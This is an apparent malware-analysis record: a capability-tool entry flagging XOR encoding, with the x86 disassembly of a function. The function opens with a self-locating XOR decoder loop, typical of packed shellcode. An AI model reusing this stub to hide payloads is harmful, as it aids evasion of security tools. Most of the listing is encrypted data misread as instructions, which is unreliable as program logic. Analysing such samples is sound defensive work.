Function at 0x9d6344
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x9d634a
pop ebp
sub ebp, 6
sub ebp, 0x5d6344
jmp 0x9d63a8
fist dword [ebp + 0x6a56d85a]
mov ebx, dword [esi + 0x486ebe51]
fisub word [edx]
mov ebp, 0x77e2a302
mov byte [esi - 0x10], bh
shl dword [edi - 0x17], 1
add al, 0
add byte [eax], al
popfd
cmp eax, dword [edx + 0xc]
jmp 0x9d63b1
mov eax, 0x5d6344
add eax, ebp
add eax, 0x93
mov ecx, 0x62b
mov edx, 0xf1270673
xor byte [eax], dl
inc eax
dec ecx
jne 0x9d63c8
test esi, esi
invalid
invalid
jmp 0x9d63db
sbb dword [ebx], esi
sbb esi, dword [ebx + 0x63]
jae 0x9d6455
sbb esi, dword [ebx - 0x41]
pop edi
jae 0x9d6428
mov bl, 0x23
mov esi, fs
mov bh, 0x73
daa
jae 0x9d6414
clc
mov esi, 0x734ffaf8
jae 0x9d646c
mov dl, 0x8b
jae 0x9d6471
jae 0x9d6470
mov esi, 0x737377cb
jae 0x9d63d0
pop ebx
jae 0x9d647d
jae 0x9d6390
xchg ecx, eax
jo 0x9d63ca
mov ebx, 0x737ff2f8
clc
bnd jg 0x9d6486
jae 0x9d6488
jae 0x9d6486
jo 0x9d63cd
mov dh, 0x23
sbb edx, dword [eax*2 - 0x50e48c86]
pop edi
and ebx, dword [ebx]
adc al, 0x45
jp 0x9d6490
sbb ebp, dword [edi + 0x7273275f]
daa
jae 0x9d6495
pop edi
push edi
sbb esi, dword [ebx + 0x73]
jae 0x9d649d
wait
jbe 0x9d64a0
jae 0x9d64a2
lcall 0x2726, 0x7373735b
clc
idiv byte [ebx + 0x73]
jae 0x9d64b0
jae 0x9d6436
clc
out 0x7f, al
jae 0x9d64b5
jae 0x9d643c
invalid
mov word [esp + ecx*4 + 0x737fb12e], cs
clc
call dword [edi + 0x77]
jae 0x9d64d5
jae 0x9d647f
adc al, 0x45
jp 0x9d64db
sbb ebp, dword [edi + 0x7273275f]
jae 0x9d64e0
pop edi
push edi
and bl, byte [ebx + 0x73737376]
wait
jbe 0x9d64e7
jae 0x9d64e9
lcall 0x2726, 0x73737138
mov word cs:[esi], es
push es
jg 0x9d640e
push es
jnp 0x9d6420
or eax, 0xf8737373
jae 0x9d64fb
jae 0x9d6482
into
jnp 0x9d6500
jae 0x9d6502
xor byte [ecx + 0x2d], 0x7f
xor byte [ecx + 0x2d], 0x7f
mov byte [0x2d7182f2], al
jg 0x9d643d
xor byte [ecx + 0x2d], 0x7f
mov byte [0x81f2ba40], al
and ebx, dword [ecx + 0x6e]
inc eax
mov edx, 0x592381f2
and dword [ebx], 0xf2876e59
pop ecx
outsb dx, byte [esi]
xchg edx, esi
and dword [ebx], 0x40876e59
and dword [ebx], 0x40876e59
xchg dword [eax - 0x5f], eax
invalid
mov eax, dword [0x3b769bf0]
jl 0x9d64a8
idiv dword [0x7c737373]
cmp eax, 0x7c737373
jae 0x9d6527
jae 0x9d6532
jl 0x9d64b2
sti
cmp esi, dword [ebx + 0x73]
jae 0x9d64d1
clc
outsd dx, dword [esi]
dec edx
mov byte [ebx + 0x7369f77c], bl
jae 0x9d653b
mov byte [edx + 0x7362f77c], bl
jae 0x9d6543
jae 0x9d6544
jae 0x9d64e7
adc eax, 0x568c88f2
mov byte [esi + edx*2 + 0x7366f77c], cl
push esi
jl 0x9d64cf
mul dword [esi + 0x73]
jae 0x9d654e
jae 0x9d654f
jae 0x9d650f
xor bl, byte [edx - 0x73737341]
pop edx
aas
lcall 0x3f5a, 0x8c8c8cbf
mov word [edx + ebx*2 - 0xf8db5c1], cs
dec edx
jb 0x9d64d7
mov dl, 0x76
invalid
mov word [edx + ebx*2 - 0xf8eb5d9], cs
mov dl, 0x75
invalid
invalid
mov word [esp + ecx*4 + 0x737fb12e], cs
clc
mov word [esi], gs
mov cl, 0x7f
jae 0x9d652e
clc
lahf
and eax, 0x6f82624
and al, 0x26
clc
push es
jg 0x9d6509
push cs
jnp 0x9d64a3
pop ecx
stc
sal ebx, 0xf9
jne 0x9d650b
mov ch, 0x72
mov ch, 0x72
jb 0x9d658f
jae 0x9d6590
jae 0x9d6591
jae 0x9d651a
sti
je 0x9d6513
mov ah, 0x72
jae 0x9d6598
jae 0x9d64ef
jno 0x9d659c
jae 0x9d659e
jae 0x9d659d
jno 0x9d64ce
mov eax, dword [0x7376f67c]
jl 0x9d6525
div byte [esi + 0x73]
jbe 0x9d65a4
jae 0x9d65a6
jae 0x9d652d
stc
xor eax, 0xf07ca161
popal
mov eax, dword [0x8cabf07c]
mov word [ecx + esi*2 + 0x76f67ca1], cs
jl 0x9d652a
stosd dword es:[edi], eax
mov word [esp + ecx*4 - 0x9835e8f], cs
jl 0x9d6538
jbe 0x9d65b7
jae 0x9d65b8
jae 0x9d65b9
jae 0x9d6540
stc
xor eax, 0xf07ca161
sbb dword [ebx + 0x73], esi
jae 0x9d65c3
jae 0x9d65c4
jae 0x9d6592
inc eax
mov bl, 0x71
mov eax, dword [0x7376f67c]
jae 0x9d65ce
stc
xor eax, 0xf07ca161
pop ecx
jb 0x9d65d8
jae 0x9d65d8
mov eax, dword [0x7376f67c]
jae 0x9d65e1
stc
xor eax, 0xb360a161
jno 0x9d6518
mov eax, dword [0xa171b360]
jl 0x9d656f
jbe 0x9d65ee
jae 0x9d65f0
stc
xor eax, 0xb360a161
jno 0x9d6527
jl 0x9d657e
jbe 0x9d65fd
jae 0x9d65ff
stc
xor eax, 0xb360a161
jno 0x9d6536
popal
mov eax, dword [0xa171b360]
pushal
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0x9d658d
jbe 0x9d660c
jae 0x9d660d
jae 0x9d660e
jae 0x9d6595
stc
xor eax, 0xb360a161
xor eax, 0xb360a161
popal
mov eax, dword [0xf77cb360]
jl 0x9d659b
jne 0x9d6619
jae 0x9d661b
clc
lodsb al, byte [esi]
pop eax
stosd dword es:[edi], eax
stc
jo 0x9d65aa
je 0x9d65e5
enter 0x7371, 0x73
jae 0x9d6551
add ecx, dword [esp + ecx*4 + 0x7372cb8c]
mov word [esp + ecx*4 + 0x737372cb], cs
jae 0x9d6632
mov word [ebx + ecx*8 + 0x73737372], cs
mov ebx, cs
jb 0x9d6631
jae 0x9d6633
jno 0x9d6563
mov eax, dword [0x7376f67c]
jl 0x9d65ba
div byte [esi + 0x73]
jbe 0x9d6639
jae 0x9d663b
stc
xor eax, 0xb360a161
jno 0x9d6572
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0x9d65c9
jbe 0x9d6648
jae 0x9d6649
jae 0x9d664a
jae 0x9d65d1
stc
xor eax, 0xf17ca161
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x72c8b058], cs
jae 0x9d665b
mov word [eax - 0x50], ds
enter 0x7372, 0x73
mov al, 0xc8
jb 0x9d665a
jae 0x9d665c
jae 0x9d6666
jl 0x9d65e1
test byte [edi + 0x73], 0x73
inc edi
jae 0x9d6661
jae 0x9d65ba
jb 0x9d6665
jae 0x9d6667
jno 0x9d6597
jl 0x9d65ee
jbe 0x9d666d
jae 0x9d666f
stc
xor eax, 0xba60a161
jno 0x9d65a6
popal
mov eax, dword [0xa171ba60]
jl 0x9d65fd
jbe 0x9d667c
jae 0x9d667e
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
popal
mov eax, dword [0x8cadf17c]
mov word [ebp - 0x79a77b08], cs
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x5884f825], cs
pop eax
xchg byte [eax + 0x7b9a2dd7], al
mov word [esp + ecx*4 + 0x7b93b23b], cs
stc
adc bh, 0x2d
lcall 0xb23b, 0x8c8c8c7b
xchg ebx, eax
jnp 0x9d6621
mov word [ebx + edi - 0x6846c4e], cs
jne 0x9d665f
clc
wait
retf 0x7372
jno 0x9d65d4
mov eax, dword [0x7376f67c]
jl 0x9d662b
jbe 0x9d66aa
jae 0x9d66ac
stc
xor eax, 0xba60a161
xor eax, 0xba60a161
jno 0x9d65e3
jl 0x9d663a
jbe 0x9d66b9
jae 0x9d66bb
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
mov eax, dword [0x8cadf17c]
mov word [edx + esi*8 + 0x730e738b], cs
int1
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0xe738bf2], cs
jae 0x9d66cc
jae 0x9d664c
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 + 0x738bf28c], cs
jbe 0x9d66d7
mov word [esp + ecx*4 + 0x76738bf2], cs
mov esi, dword [ebx + 0x76]
jae 0x9d66d9
jae 0x9d66d8
jae 0x9d6658
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 - 0xc740d74], cs
jae 0x9d66e3
jae 0x9d66e3
jae 0x9d66e4
jae 0x9d6664
mov byte [0x73737373], al
mov byte [0x73737373], al
mov esi, ebx
jae 0x9d66ef
jae 0x9d6670
mov byte [0x73737373], al
and eax, 0x835884f8
adc bh, 0x2d
lcall 0x75f9, 0x8c8c8de8
xor eax, 0x9bb3ba40
jb 0x9d6715
jne 0x9d66c8
inc eax
mov edx, 0x7c729bb3
imul dword [ecx + 0x73]
jae 0x9d6711
jae 0x9d6691
mov byte [0x73737371], al
mov byte [0x73737371], al
clc
wait
and eax, 0x835884f8
clc
test byte [eax - 0x7d], bl
pop eax
add dword [eax + 0x72c82dd7], 0x73
jae 0x9d6726
adc bh, 0x2d
enter 0x7372, 0x73
xlatb
sub eax, 0x737372c8
jae 0x9d664e
lcall 0x582e, 0x8c8c8d00
add byte [ebp + 0x582e8c8c], cl
lea ecx, [esp + ecx*4 + 0x7b0e582e]
clc
pop eax
push cs
jnp 0x9d66b5
mov ah, 0x2c
sub eax, 0xb12e96f8
jnp 0x9d6739
sub al, 0x2d
lcall 0x4bd9, 0x73737377
jae 0x9d66a7
dec ebx
out dx, eax
jo 0x9d669d
aaa
adc byte [esi], ch
jae 0x9d6747
mov dh, 0xf2
mov bl, 0xc0
mov bl, 0xc0
jo 0x9d6750
jae 0x9d66a9
js 0x9d6751
jae 0x9d6756
leave
retf
mov word [esp + ecx*4 + 0x7373779a], cs
jae 0x9d6694
mov word [esi + 0x77], ss
popfd
pushfd
pushfd
clc
or eax, dword [eax + 0x45]
wait
retf 0xcbcb
retf
cmp dword [esi - 0x6c], ebp
xchg ebp, eax
inc eax
push ebp
test ebx, 0xc498cbcb
je 0x9d66ba
clc
int 0x91
dec edx
or dword [ebx], esi
retf
retf
xchg esp, eax
xchg ebp, eax
dec edx
or ebx, esp
retf
and dl, byte [edx]
xor al, 0x34
adc dh, byte [esp + esi]
xor al, 0xa3
retf